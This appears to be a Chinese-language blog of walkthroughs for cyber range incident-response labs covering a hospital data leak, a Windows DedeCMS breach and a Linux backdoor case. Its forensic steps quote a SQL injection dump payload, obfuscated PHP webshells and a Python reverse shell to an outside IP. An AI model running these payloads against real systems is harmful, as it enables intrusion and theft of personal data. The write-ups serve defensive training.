玄机靶场通关（持续更新）
穷，没钱开靶场，全是看网上WP尝试自学。
你这应急响应，还真是高高在上呢……
玄机靶场通关
全部要VIP，所以穷鬼我要看别人的WP来学
做题常见Windows 安全事件ID完整汇总表（遇到一个添加一个）
| 事件ID | 事件类别 | 事件描述 | 日志来源 |
|---|---|---|---|
| 4624 | 登录成功 | 用户/服务成功登录到系统。 | 安全日志 |
| 4625 | 登录失败 | 用户尝试登录但失败（如密码错误、账户锁定）。 | 安全日志 |
| 4740 | 用户账户锁定 | 用户账户因多次登录失败被锁定。 | 安全日志 |
| 7045 | 服务创建 | 新服务通过sc.exe或API创建（记录服务名称和路径）。 |
系统日志 |
| 4781 | 账户名称变更 | 用户账户名称被修改。 | 安全日志 |
| 4738 | 用户账户变更 | 用户账户属性被修改（如密码策略、组成员身份、账户名等）。 | 安全日志 |
| 4663 | 文件/对象访问成功 | 用户成功访问受保护的文件/对象，用于检测未经授权访问文件和文件夹的行为 | 安全日志 |
| 1074 | 系统关机/重启/注销 | 记录系统关机、重启或用户注销的操作，包括触发此操作的用户、进程及原因代码。 | 系统日志 |
| 1149 | RDP连接审计 | 记录RDP连接的客户端IP、用户名及认证结果（成功/失败）。 | 安全日志 |
| 4720 | 用户账户创建 | 新用户账户被创建（包括本地或域账户）。 | 安全日志 |
| 4 | SSH登录成功 | User "user1" authenticated successfully from 192.168.1.100 port 54322. |
OpenSSH/Operational |
| 5 | SSH登录失败 | User "user2" failed authentication from 192.168.1.101 port 54323 (password error). |
OpenSSH/Operational |
| 6 | SSH服务启动/停止 | sshd service started. Listening on 0.0.0.0:22. |
OpenSSH/Operational |
入门
应急加固-医院脱库应急处理
应急加固-医院脱库应急处理
来源公众号：州弟学安全(B站同)
WP：https://mp.weixin.qq.com/s/QmBXMJ9juDKxD19iVlj95g
登录账号密码：administrator/Zhoudi666
某医院系统疑似被攻击，攻击者常规手段获取到了后台账号密码，在此之前攻击者使用多个IP进行扫描，你作为安全服务工程师需要分析其流量包和日志来快速审计，每个IP的扫描特征并快速归类，并思考在常规渗透中，攻击者是怎么获取到的管理员密码进行登录的后台
此外除了已有需要提交的题目，你还需要做的是
1. 根据桌面已有的工具进行分析
根据桌面已有的文档模板进行编写报告进行整个流程的梳理(后期给客户进行汇报)
2. 修复出现的相关漏洞(无论使用任何方法)，保证业务系统正常运行
3. 看看系统中自己能不能挖出其他漏洞
注：思路仅供参考，学习举一反三
账号是administrator，密码是Zhoudi666
流量包部分在电子取证wiki微信公众号回复医院即可获取
参考文章：应急加固|超详细的某医院系统被脱库 从溯源到报告输出的项目式教学、玄机-应急加固-医院脱库应急处理
步骤一：首次发起端口扫描的IP是
SYN扫描
SYN 扫描是最为常见的扫描方式，扫描方会发送 SYN 数据包来试探目标端口是否开放
tcp.flags.syn == 1 and tcp.flags.ack == 0
此规则能筛选出所有 SYN 数据包（也就是那些 SYN 标志位为 1 且 ACK 标志位为 0 的 TCP 数据包）
这些数据包展示的是攻击者向靶机发送的端口扫描发送的请求
可以发现首次进行端口扫描的IP为192.168.37.3
fin扫描：fin一般是连接关闭的过程，而syn是建立连接的过程，他们都属于TCP协议，只不过对应的不一样
tcp.flags.fin == 1
UDP：UDP连接更不用说了，一般DDOS都用UDP，相比于TCP，UDP的成本会更低，因为UDP是简单封包后直接发送，没有所谓的三次握手四次挥手这一说，稳定性低于TCP
筛选规则：UDP
步骤二：审计流量和日志快速定位扫描次数最多的IP
过滤端口扫描相关数据包，对会话进行统计，发现192.168.37.3与192.168.37.2之间的通信最多
官方WP有使用ZUI作为辅助工具
我们已经知道了在正常情况下进行扫描的特征一般为：404，当然了也有很多站不同，比如：403，302，301和一些自定义状态码，所以根据实际情况进行筛选，经过测试，本站点特征为404（靶场环境可访问医院系统网站）
我们可以使用zui进行聚合：count() by http,status_code,id.orig_h|status_code==404
可以发现访问网站最多的IP为192.168.37.3
步骤三：审计流量和日志快速定位扫描次数第二的IP
由上题可知，wireshark分析后扫描次数第二的IP为192.168.37.100，而zui分析后得到的第二IP为192.168.37.1
答案是zui分析后的结果
步骤四：哪个IP使用了AWVS扫描器
在正常的AWVS漏洞扫描特征中，除了一些UA的变化还有一个最明显的请求头和路径中有：acunetix特征，还有一个域名特征：bxss.me
二者都可以在流量包通过搜索搜到：
步骤五：还有个IP也使用了扫描器进行主机+WEB扫描，提交其扫描次数(以wireshark数量为主)
我们已经知道了这个IP进行了主机+web扫描，那么还是按照题目1的方法进行筛选，看看和192.168.37.3一样进行主机扫描的还有哪个？
tcp.flags.syn == 1 and tcp.flags.ack == 0
按照时间线，首先是192.168.37.3、192.168.37.1对服务器192.168.37.2进行了端口扫描
那么可以看到再往后使用SYN连接的有：192.168.37.100(频繁测试其它端口的连通性)
然后再下面的是：192.168.37.177，但是值得注意的是，它一直连接的是8080(WEB端口)
后面的192.168.37.87和192.168.37.200也是如此，当然他们并不能排除嫌疑
已知192.168.37.100确定存在端口扫描的特征，那么筛选一下是否存在漏洞扫描特征
通过ZUI进行筛选：id.orig_h==192.168.37.100|status_code==404，可以发现192.168.37.100进行的目录扫描记录
再次使用wireshark进行筛选：ip.src==192.168.37.100&&mysql
ip.src==192.168.37.100&&http
所以大概筛选一遍，只有192.168.37.100存在这个问题，进行了主机服务和web服务以及漏洞扫描的特征，那么他的扫描次数来统计一下：ip.src192.168.37.100&&ip.dst192.168.37.2 最终结果是4812次
步骤六：运维人员发现有IP进行了WEB登录爆破，提交其IP
根据遇到的环境来看，比如某场景使用的是MVC架构，那么登录肯定是路由的，就需要在浏览器的network进行找到，但是本次环境是传统PHP开发，直接URL就可以看到
MVC架构
Model-View-Controller（模型-视图-控制器）架构
它是一种广泛用于前后端分离、界面设计与业务逻辑解耦的软件架构模式。
| 组件 | 作用说明 |
|---|---|
| Model | 模型层：处理数据和业务逻辑，如数据库操作、计算、状态管理等 |
| View | 视图层：负责界面显示，把 Model 中的数据转为用户可见的界面元素 |
| Controller | 控制器层：作为中介，处理用户输入、调用 Model 更新数据、刷新 View |
用户操作 (点击按钮、输入内容)
↓
Controller（控制器）
↓
根据用户意图更新 Model（数据模型）
↓
Model 变动 → 通知 View（视图）
↓
View 根据最新数据更新显示内容
WEB登录爆破即过滤使用的POST方式进行的请求，那么直接筛选一下：count() by id.orig_h,uri,method| uri"/login.php" | method"POST"
通过流量分析192.168.37.87确实存在爆破行为，然后192.168.37.200也存在爆破行为，但是爆破有特征，最后还登录成功了，所以存在爆破行为的是：192.168.37.87&192.168.37.200
http.request.uri=="/login.php"&&http.request.method=="POST"
步骤七：运维人员发现有IP进行了WEB登录爆破，提交其爆破次数
已知以上两个IP存在爆破行为，那么直接进行筛选就行
(ip.src==192.168.37.87 || ip.src==192.168.37.200) && http.request.uri=="/login.php" && http.request.method=="POST"
也就是爆破了112次，当然了直接去筛web日志也是一样的
步骤八：运维发现数据库疑似被写入了垃圾用户(批量注册)请提交其IP
这里的知识点就非常明显了，针对的是一些盈利性网站，被恶意注册用户(可能是薅毛、被恶意攻击的情况)
与登录一样，注册的url是：/register.php，那么请求也是POST方式
zui语句count() by uri,method,id.orig_h|uri=="/register.php"|method=="POST"
毋庸置疑，批量注册的IP是192.168.37.177
步骤九：运维发现数据库疑似被写入了垃圾用户(批量注册)请提交注册成功数量
流量包的时间是4月30号，所以看一下4月30号注册的用户
一共58个用户注册，并且用户名都是相似的，但不是正确答案
另一思路：
注册功能用的是insert语句，直接在register.php源码中搜索insert关键字就行，可以看到是表名为user
在phpstudy中找到这个SQL管理工具点进去直接连接就行了
从第一个请求的时间往后看，然后对比users表内的时间往后数
可以看到后面有规律的用户，直接看数量就行了
zhangsan0-zhangsan57一共是58个用户，有些师傅会说，你这太简单了，如果人家批量注册，不同IP，不同用户名你怎么办？
好的，这个情况下就根据注册开始时间以及特征开始算起，如果短时间，大批量的注册以及登录等相同的行为特征，那么可以判定为恶意用户，如：某购物站分别使用代理IP进行注册机注册，且注册用户名，密码无规则或强规则，以及登录后分别做了相同操作的，可以判定为恶意用户，我记得腾讯之前有个叫做防水墙的安全工具是专门针对这一类的，当然了这些需要判断行为特征记录到日志中，需要结合非常多的特征，不单单是判断行为就足够，这样会误封很多账号，所以在对抗薅毛行为的情况下是十分心累的
在此环境中我们可以通过sql语句进行查询
SELECT COUNT(*)
FROM users
WHERE username LIKE '%zhangsan%';
SELECT COUNT(*)
FROM users
WHERE created_at >= '2025-04-30 09:59:00';
所以最终成功注册数量是57，因为其中有个zhangsan用户并非此IP注册，且登录成功了，但是不排除是恶意注册用户，但是我们目前筛选的是批量注册的(以这个为准)
步骤十：请提交攻击者登录成功admin用户的IP及密码，以&连接
查看登录前的最后一条登录包，得到密码和ip
小窍门，当有些站点登录成功后可能会在页面提示一些关于文本类的响应内容，比如："登录成功，正在跳转"，我们可以使用筛选条件：http contains "登录成功，正在跳转"进行筛选
在本环境中，登录成功后会进行302跳转，那么就需要筛选状态码了
直接url看/admin/index.php，因为302跳转到这个地址(在熟悉业务系统的情况下可以这么做，实际情况下需要进行测试然后分析流量)
毋庸置疑，就是192.168.37.200登录成功的了。
因为可以看到192.168.37.3应该是扫描目录到admin/index然后未授权跳转到登录页面了，所以才302状态码的；
而192.168.37.200则是200状态码，代表登录成功了，那么直接追一下流量，看到登录密码为zhoudi123
步骤十一：数据库疑似被脱库，你需要找到漏洞点，如漏洞文件
查看登陆后的操作，都是在/admin/settings.php中进行，因而该文件具有漏洞点
靶场作者WP：
在进行本题之前我们需要想一想，攻击者是怎么拿到密码的呢？爆破的还很有特征
肯定不是爆破的，有位师傅在我之前已经写出来WP了，但是也确实没想到怎么获取到密码的，假设在此之前爆破的是同一个人，为什么突然爆破账号就有规律了呢？
其实很多人还是忽略了一点，在攻击之前，渗透测试的信息收集，攻击者是否找到了一些信息？还记得之前多次说过信息收集的地方吗？使用Google，GitHub，gitee进行搜集，我们在逆向思路的适合一定要走攻击者的路子
在gitee中模糊搜索关键字看到了有这个系统，至于源码是什么背景下被上传的自行分析，但在生产环境下这肯定是严重事件问题
可以看到账户的默认信息，所以就证明了攻击者有规律的爆破是根据这里来的，那么攻击者使用的是zhoudi123而不是admin123登录成功的，这个密码哪里来的呢？还记得之前提到的渗透测试中密码复用技术吗？我不知道细心的师傅有没有发现数据库密码也是zhoudi123
这也就证明了攻击者尝试了密码复用进入了管理员后台，但是为什么攻击者不直接连接数据库呢？
有可能数据库配置权限只能本地，所以俺滴环境还是很谨慎滴
好的，知道了攻击者的思路，我们看看登录后台后是怎么进行脱库的呢？漏洞点文件也就是出现漏洞的地方
以上图中是一位师傅判断的，是攻击者在后台下载的sql文件导致了脱库，但是在流量中并没有关于SQL文件的访问下载操作
uri：backup_20230510_120000.sql
所以证明漏洞点并不是下载SQL文件，那么还有什么呢？
已知是脱库，那么大概率和SQL有关了，我们使用ZUI进行筛选一下攻击者192.168.37.200访问的资源：count () by uri,status_code,id.orig_h|status_code!=404|id.orig_h==192.168.37.200
上图看到settings.php竟然被请求了79次，这非常不正常，直接wireshark看看：http.request.uri"/admin/settings.php"&&http.request.method"POST"
好好好，竟然在打SQL注入，那么漏洞点是username，看看这个settings.php里面的这一块语句
可以看到username会直接被拼接到语句中进行执行，存在SQL注入，那么攻击者在之前获取到了源代码，审计出漏洞也很合理，所以漏洞文件是settings.php或/admin/settings.php
步骤十二：找到攻击者获取医院数据(患者身份信息的数量)
有个回显最长的数据包，分析可以发现数据库已被脱库
构造的SQL注入请求为：
username=zhangsan%' UNION ALL SELECT CONCAT(0x7170787071,JSON_ARRAYAGG(CONCAT_WS(0x6f6f6b787571,IFNULL(CAST(`name` AS NCHAR),0x20),IFNULL(CAST(id_card AS NCHAR),0x20))),0x716a766271),NULL,NULL,NULL,NULL FROM hospital_db.patients#
可以发现尝试脱库的内容为hospital_db库中的patients表中的name、id_card列
即病人信息，可以导出html文件查看渲染：
重点是最后的sql注入回显，发现关键特征：每条数据都有ookxuq开头(不清楚是什么意思，可能是数据库/html/注入工具的原因)，可以以这个为特征写脚本进行查询，当然也可以用edit文本工具直接看数量
12001项
Windows应急-应急与研判训练计划一
服务器场景操作系统 Windows
服务器账号密码 administrator P@ssw0rd
题目来源公众号 ©州弟学安全
任务环境说明
这是某单位正常运行的主机，但由于安全防范意识不到位，导致系统被攻击。目前已知攻击者成功接管了系统。
需要通过上机排查，利用开放的服务快速识别攻击者的操作、最终攻击成功的方法以及接管成功的IP。相关工具和全程流量数据已放置在桌面中。
1. 你需要根据环境内的所有工具和文件，附件等，根据应急响应形式快速排查出攻击者的所有行为
2. 你需要排查出攻击者最后利用成功的漏洞以及利用成功IP进行整理
3. 你需要自己按照攻击者思路写一份攻击者大概的攻击思路或攻击流程图
4. 你可以借助一切工具，你可以把它当作实战，这里没有任何约束条件
注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
原文地址：Windows应急-应急与研判训练计划 - 玄机靶场_windows应急-应急与研判训练计划 一-CSDN博客、Windows应急-应急与研判训练计划 一-CSDN博客
步骤一：请找出攻击者攻击成功的端口，如多个端口，则从小到大
检查开放端口-netstat -nao
通过netstat命令，发现 3389 端口（远程桌面）和 80/8080 端口（WEB 服务）开放。
这些端口的开放可能意味着系统可能被远程访问或有 WEB 服务在运行。
21 - FTP（文件传输协议）
80 - HTTP（网页服务）
135 - Microsoft RPC（远程过程调用）
445 - Microsoft-DS（用于共享文件和打印机）
3306 - MySQL 数据库
8080 - 常用于代理服务器或 Web 服务（如 Tomcat）
9000 - 可能是 PHP-FPM 或者 SonarQube 监听端口
端口 47001-49684 这些端口可能是 Windows 动态端口（Ephemeral Ports），用于临时连接。
答案：flag{21,3389,8080}
步骤二：请找出攻击者上传的恶意文件名
根据端口号查看服务-tasklist /fi "PID eq 628"
也可以如此分析tasklist | findstr "480 708 64 2144 612 1880 628"
tasklist|findstr 628
使用cmder工具可以在windows中使用linux中的命令如：cat、awk等等
分析得知，系统使用phpstudy搭建了两个web服务端口分别为80、8080，其中80为静态网站、8080为dedecms网站。
服务中间件是nginx，查看nginx日志文件，先查看了一下error.log，发现除了127.0.0.1还有192.168.18.133具有大量访问失败的记录并且访问的网站端口基本都是8080。
使用 awk "{print $1}" access.log | sort | uniq -c 可以统计访问者中源ip地址与其个数
awk 是一个文本处理工具，{print $1} 表示打印每一行的第 1 列（通常是访问者的 IP 地址）。
sort 命令会对提取出的 IP 地址进行排序，这样相同的 IP 会排列在一起，便于后续统计。
uniq 负责去重，-c 选项让它统计每个 IP 地址的出现次数。
查看access.log文件发现主要记录是127.0.0.1和192.168.18.133，所以几乎可以确定攻击者为：192.168.18.133
使用awk "$9!=404 {print $1,$6,$7,$9}" access.log ，在最后发现一个可疑的命令访问了phpinfo();但是没有成功，恶意文件名应该就是为newfile1.php
'$9!=404'：条件判断，表示如果第 9 列（HTTP 响应状态码）不等于 404，则执行 {print $1,$6,$7,$9}。
{print $1,$6,$7,$9}：
$1：第一列，客户端 IP 地址。$6：第六列，请求方法（如GET、POST）。$7：第七列，请求的 URL 路径。$9：第九列，HTTP 响应状态码。
攻击者通过newfile1.php对phpinfo()进行了访问，因此为恶意文件
答案：newfile1.php
awk "$9!=404 {print $1,$6,$7,$9}" access.log | grep POST 过滤POST相关的记录分析得应该是通过弱口令成功登录网站，然后通过网站后台写入木马。
/dede/login.php 是织梦CMS（DedeCMS）的默认后台登录路径。
192.168.18.133成功登录了后台，最后应该是在templets_one_edit.php中写入了木马。
-
可疑文件上传：
192.168.18.133 "POST /general/index/Upload File.php?m-uploadPicture&uploadType-eoffice_logo&userId= 403 192.168.18.18.133 "POST /module/ueditor/php/action_upload.php?action-uploadfile 403- 尝试利用上传接口（如
Upload File.php、UEditor的action_upload.php）上传恶意文件，但部分请求被拦截（403）。
- 尝试利用上传接口（如
-
路径穿越与命令执行：
192.168.18.133 "POST /cgi-bin/.%2e/%20%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh 400 192.168.18.133 "POST /.%0d./.%0d./.%0d./.%0d./bin/sh%20HTTP/1.0 500- 使用路径穿越（
../）尝试执行系统命令（/bin/sh），可能意图获取服务器控制权。
- 使用路径穿越（
-
PHP代码注入：
192.168.18.133 "POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input 200- 通过修改PHP配置参数（
allow_url_include和auto_prepend_file），尝试从输入流执行任意PHP代码。
- 通过修改PHP配置参数（
-
敏感文件泄露：
192.168.18.133 "POST /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php 403- 尝试通过路径穿越下载数据库配置文件（
database.php），获取数据库凭据。
- 尝试通过路径穿越下载数据库配置文件（
在网站目录下搜索newfile得到了木马文件
<? @("Y;HJ(Z""8H;/Z.")(${"~?}$""!x8p"}[1]);
'Y' ^ '8' = 89 ^ 56 = 105 → 'i'
';' ^ 'H' = 59 ^ 72 = 115 → 's'
'H' ^ ';' = 72 ^ 59 = 115 → 's'
'J' ^ '/' = 74 ^ 47 = 101 → 'e'
'(' ^ 'Z' = 40 ^ 90 = 114 → 'r'
'Z' ^ '.' = 90 ^ 46 = 116 → 't'
'~' ^ '!' = 126 ^ 33 = 95 → '_'
'?' ^ 'x' = 63 ^ 120 = 95 → '_'
'}' ^ '8' = 125 ^ 56 = 69 → 'E'
'$' ^ 'p' = 36 ^ 112 = 84 → 'T'
"issert" → 实际应为 assert（可能是混淆时的字符偏移误差）。
__ET → 实际应为 _POST
解密后即为：
<? @assert($_POST[1]);
步骤三：请找出攻击者最终攻击成功的端口
靶机给出流量包中进行分析：
我们通过对这靶机的了解不难看出，攻击者发现了目标后，通过对网站弱口令的爆破后放置恶意文件，最终拿下了整个服务器的权限，所以我们可以结合情况得知，真正攻击成功的端口是3389
答案：3389
步骤四：请找出攻击者最终攻击成功端口的IP
使用FullEventLogView工具对系统的事件进行查看发现攻击者的爆破行为与接管的主机为192.168.18.1
在 Windows 安全日志中：
- 事件 ID 4625 表示 登录失败（An account failed to log on）。
- 该事件通常在 Windows 安全日志（Security Log）中记录。
- 失败的登录尝试可能由于密码错误、账户锁定、用户不存在等原因。
配合其他事件 ID 进一步分析
- 成功登录（事件 ID 4624）：如果一个 IP 先出现多个 4625，随后出现 4624，说明可能成功破解了密码。
- 账户锁定（事件 ID 4740）：如果某个用户连续多次 4625，随后触发 4740，说明账户已被锁定。
答案：192.168.18.133
步骤五：请找出攻击者最后接管服务器的IP
答案：192.168.18.1
第九章-blueteam 的小心思
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注：进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
原文地址：玄机：第九章-blueteam 的小心思-CSDN博客、玄机——第九章-blueteam 的小心思 wp（HVV——“蓝队”应急响应简单模拟例题）-CSDN博客
步骤一：攻击者通过什么密码成功登录了网站的后台？提交密码字符串的小写md5值，格式flag{md5}。
使用shell进行一个连接，执行命令
sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
sed：流编辑器，用于文本替换、删除等操作。
-i：表示直接修改文件，而不是输出到终端。
's/Listen 80/Listen 9999/'：使用 sed 的替换命令（s/old/new/），将 Listen 80 替换为 Listen 9999。
/etc/apache2/ports.conf：Apache 端口配置文件，通常包含 Listen 80 这样的配置项，表示 Apache 监听 80 端口。
service apache2 restart：重新启动 Apache 服务器，使新的端口配置生效。
靶机可以通过这种方式，可以改变 Apache Web 服务器的默认监听端口，常用于避免端口冲突或者提升服务器的安全性（通过使用非标准端口）。
并把wireshark.pcap文件下载到本地，用 wireshark 打开，使用显示过滤器过滤http：
直接找到了密码，经MD5加密即可
答案："Aa12345^"
步骤二：攻击者在哪个PHP页面中成功上传了后门文件？例如upload.php页面，上传字符串"upload.php"的小写md5值，格式flag{md5}。
我们可以查找一下“boundary”（boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分（part），例如文件和其他数据）
http contains "boundary"
可以发现这里上传了一个名为cpg.zip的压缩包，并且其中包含了cpg.php，内容为<?php @eval($_POST["m3"]);?>的后门文件。
答案："pluginmgr.php"的MD5值
步骤三：找到攻击者上传的webshell文件，提交该文件的小写md5值，格式flag{md5}。
在shell中把网站根目录/var/www/html文件下载下来再用D盾扫描：
答案：cpg.php文件的MD5值
步骤四：攻击者后续又下载了一个可执行的后门程序，提交该文件的小写md5值，格式flag{md5}。
解题思路一：根据上传第一个webshell的时间来筛选前后下载的文件
stat cpg.php
stat：用于显示文件或目录的详细状态信息。
现已确定文件修改时间（2023-11-18 07:39:36），及文件所有者（www-data）；
使用以下命令分析前后两天用户“www-data”的行为：
find / -newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' ! -path '/proc/*' ! -path /'sys/*' ! -path '/run/*' -type f -exec ls -lctr --full-time {} \+ 2>/dev/null | grep www-data
find / —— 在整个系统中搜索
-newerct '2023-11-18 07:30:00' ! -newerct '2023-11-19 07:30:00' —— 按修改时间筛选
-newerct按 "变更时间 (ctime)" 进行比较，查找比指定日期更新的文件。加上!即为反选
! -path '/proc/\*' ! -path '/sys/\*' ! -path '/run/\*' —— 排除特定目录
/proc/、/sys/和/run/目录是虚拟文件系统，通常包含系统运行时的信息，而不是普通文件，所以这些目录被排除。
-type f —— 只搜索普通文件
-exec ls -lctr --full-time {} \+ —— 详细列出文件信息
-
-exec ... {} \+：对找到的文件批量执行ls命令，减少进程创建开销。 -
ls -lctr --full-time选项解析：
-l：详细模式（包含权限、所有者、文件大小等）。-c：按文件ctime（元数据修改时间）排序（默认ls按mtime排序）。-t：按时间排序，最近修改的排在最后。-r：反向排序，让最早修改的文件排在前面。--full-time：显示完整的时间戳（包括秒和时区）。
2>/dev/null —— 屏蔽错误信息
| grep www-data —— 过滤出由 www-data 拥有的文件
解题思路二：继续分析流量包中的数据
可以发现攻击者利用上传的木马执行了在124.221.70.199服务器中的is.world文件
搜索该文件即可找到
答案：is.world文件的MD5值
步骤五：攻击者创建了后门用户的名称是？例如attack恶意用户，上传字符串"attack"的小写md5值，格式flag{md5}。
题目的意思为攻击者在攻击了靶机后创建了新用户
我们可以查看/etc/passwd 文件，其中包含了所有用户的信息，包括用户名和用户ID等：
cat /etc/passwd
最下面的账户 UID 和 GID 都是 0，意味着它具有与 root 用户相同的权限。
/home/knowledgegraphd是这个用户的主目录。/bin/bash是这个用户的默认 shell，允许用户执行命令，这进一步表明这是一个高权限用户。
答案："knowledgegraphd"的MD5值
步骤六：攻击者创建了一个持久化的配置项，导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值，格式flag{md5}。
黑客在 Linux 系统上创建持久化配置项，以在任意用户登录时触发后门连接，通常会利用以下shell配置文件
常见的shell配置文件包括:
”~/.bashrc“：用于 Bash Shell，会在每次打开新的终端或登录 Shell 时执行。
”/.bash_profile“或”/.profile“：这些文件在用户登录时执行。
”~/.zshrc“：用于Zsh Shell，与”~/.bashrc“类似。
”/etc/profile“：为所有用户提供的系统级别的配置文件，
”/etc/bash.bashrc“：为所有用户提供的系统级别的配置文件，Bash Shell 专用。
在查看到profile文件时发现关键
cat /etc/profile
得到：
简单分析一下：
简单来说就是 /etc/profile 文件的内容，这是一个系统范围的配置文件，用于设置 Bourne shell（如 sh、bash、ksh 等）的全局环境变量和配置。
- 首先，这段代码检查是否存在交互式 shell 的环境变量
${PS1-}。如果存在，它会进一步检查是否在 Bash 环境下，并且 Bash 的路径不是/bin/sh。 - 如果是 Bash，并且存在
/etc/bash.bashrc文件，则会载入该文件的配置。 - 如果当前用户是 root 用户（通过 id -u 命令检查），则设置提示符 PS1 为 #，表示超级用户权限。否则设置为 $，表示普通用户权限。
- 接下来就是黑客插入的后门程序：
/var/www/html/plugins/". "/is.world &，它是一个恶意添加的行，试图运行一个不明的命令或程序。 - 最后，如果
/etc/profile.d目录存在，则会加载该目录下所有可读的 .sh 结尾的脚本文件，以扩展 shell 的配置。
还有一种做法，就是一般这种配置在/etc，猜测是执行可执行文件，所以我们直接在"/etc"这个进行查找我们之前已知的可执行程序“is.world”;
我们使用命令：
grep -Er "is.world" /etc
-E: 表示启用扩展的正则表达式（Extended Regular Expression）模式。这使得grep可以识别更多的正则表达式语法。-r: 表示递归地在指定目录及其子目录中搜索。
得到：
答案："/etc/profile"的MD5值
步骤六：攻击者创建了一个持久化的配置项，导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值，格式flag{md5}。
跟上题差不多，只不过这里是只有root用户登录才会触发后门连接，那这里我们需要确定黑客可利用的文件或者位置，那这里我们就可以猜测了，如果黑客希望在只有root用户登录时才触发后门连，其它用户则不会，那他一般会挑选以下文件和目录；
“/root/.bashrc”：在root用户登录Bash Shell时执行；
“/root/.bash_profile”：在root用户登录时执行。
“/root/.profile”：在root用户登录时执行。
“/etc/profile”：所有用户登录时执行，但可以通过特定的条件使其仅在root用户登录时触发。（这个概率就非常大，且也符合我们的猜测）
“/etc/rc.local”：系统启动时执行，可以包含条件逻辑；
还是跟上题一样老操作，一个一个分析过去即可，最后也是在“/root/.bashrc”中发现关键：
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
import socket,subprocess,os
导入必要的Python模块：socket：用于网络通信。subprocess：允许执行系统命令。os：提供操作系统接口。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
创建一个IPv4（AF_INET）的TCP（SOCK_STREAM）套接字对象。s.connect(("124.221.70.199",9919))
连接到远程IP地址124.221.70.199的9919端口。此IP和端口可能是攻击者控制的服务器。os.dup2(s.fileno(),0)os.dup2()用于复制文件描述符。- 将套接字的文件描述符（
s.fileno()）复制到标准输入（0），使得远程输入被当作本地输入。
os.dup2(s.fileno(),1)
将套接字的文件描述符复制到标准输出（1），本地输出会发送到远程。os.dup2(s.fileno(),2)
将套接字的文件描述符复制到标准错误（2），错误信息也会发送到远程。p=subprocess.call(["/bin/sh","-i"])
启动一个交互式Shell（/bin/sh -i），并将输入/输出/错误重定向到套接字。此时，攻击者可通过远程服务器完全控制目标系统。&
将进程放到后台运行，避免被用户立即察觉。
答案："/root/.bashrc"的MD5值
步骤八：攻击者加密了哪个数据库？提交数据库的文件夹名，例如user数据库对应存放位置为user文件夹，上传字符串"user"的小写md5值，格式flag{md5}。
数据库的登录信息（账号密码），一般都会储存在配置文件“config.inc.php”中，那我们这里还是直接定位配置文件位置过去查看即可：
find / -name config.inc.php
使用navitcat连接：
在“JPMorgan Chase”数据库中发现它打不开（啥都打不开）；
报错，怀疑可能有加密；（符合题目要求，尝试进行MD5加密提交）
find / -name JPMorgan@0020Chase
得到：
答案："JPMorgan@0020Chase"的MD5值
步骤九：解密数据库，提交Harper用户对应Areer的值。提交Areer值的小写md5值，格式flag{md5}。
题目让我们解密数据库，提交Harper用户对应的Areer的值并且进行MD5加密，那这里黑客肯定是对表“Balance”进行了什么操作才导致进不去，那我们就尝试查找一下黑客比文件“cpg.php“新，又比闻文件“Balance.frm”旧的所有文件：
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
-
生成基于当前日期的MD5哈希值作为加密密钥。
-
生成一个基于特定字符串的初始化向量（IV）。
-
遍历指定目录中的所有文件，读取其内容并使用AES-256-CBC加密算法进行加密。
-
将加密后的内容覆盖写回到原文件。
简单来说就是这个PHP脚本的作用是对指定目录下的所有文件进行加密，指定目录那可不就是“/var/lib/mysql/JPMorgan@0020Chase”，那咋办嘞，直接写一个反推的脚本；
<?php
$currentDate = date("Y-m-d");
$key = md5('2023-11-18');
$iv = substr(hash('sha256', "DeepMountainsGD"), 0, 16);
$filePath = "/var/lib/mysql/JPMorgan@0020Chase";
$files = scandir($filePath);
foreach ($files as $file) {
if ($file != "." && $file != "..") {
$fullPath = $filePath . '/' . $file;
$encryptedContent = file_get_contents($fullPath);
$decryptedContent = openssl_decrypt($encryptedContent, 'aes-256-cbc', $key, 0, $iv);
file_put_contents($fullPath, $decryptedContent);
}
}
?>
- 使用固定的日期 “2023-11-18” 生成MD5哈希值作为解密密钥。
- 生成一个基于特定字符串的初始化向量（IV）。
- 遍历指定目录中的所有文件，读取其内容并使用AES-256-CBC解密算法进行解密。
- 将解密后的内容覆盖写回到原文件。
把解密脚本写在/var/www/mysql/目录下即可
接着运行：
php 123.php
运行完成，就先不要急着返回刷新数据库，最好先重启一下数据库；
使用命令：
sudo systemctl restart mysql
返回数据库
答案："Chef"的MD5值
步骤十：因为什么文件中的漏洞配置，导致了攻击者成功执行命令并提权。提交该文件的小写md5值，格式flag{md5}。
题目让我们找到黑客提权所使用的文件，既然说了提权那我们就可以直接使用命令查找系统中以 root 用户身份拥有并设置了 SUID（Set User ID）权限的文件。
find / -user root -perm -4000 2>/dev/null
-user root: 查找所有属于 root 用户的文件。-perm -4000: 查找设置了 SUID 位的文件（即特殊权限位）。4000是八进制表示法，用于指定 SUID 位。-perm -4000意味着查找具有 SUID 权限的文件，无论其他权限如何。
简单来说是为了查找被黑客利用的具有 SUID 权限的文件。设置了 SUID 位的文件在执行时将以文件所有者（通常是 root 用户）的权限运行，而不是以执行者的权限运行。黑客可能会利用这些文件进行提权攻击，即通过这些文件获取 root 权限，从而对系统进行更高权限的操作。
发现/usr/bin/sudo：Sudo 是一个常见的提权工具，肯定会被滥用。
/usr/bin/sudo：
使用广泛：Sudo 被广泛用于权限提升，如果配置中有漏洞，黑客可以利用 sudo 提权。
历史漏洞：Sudo 曾经存在一些被利用的漏洞，比如 CVE-2019-14287，可以绕过限制。
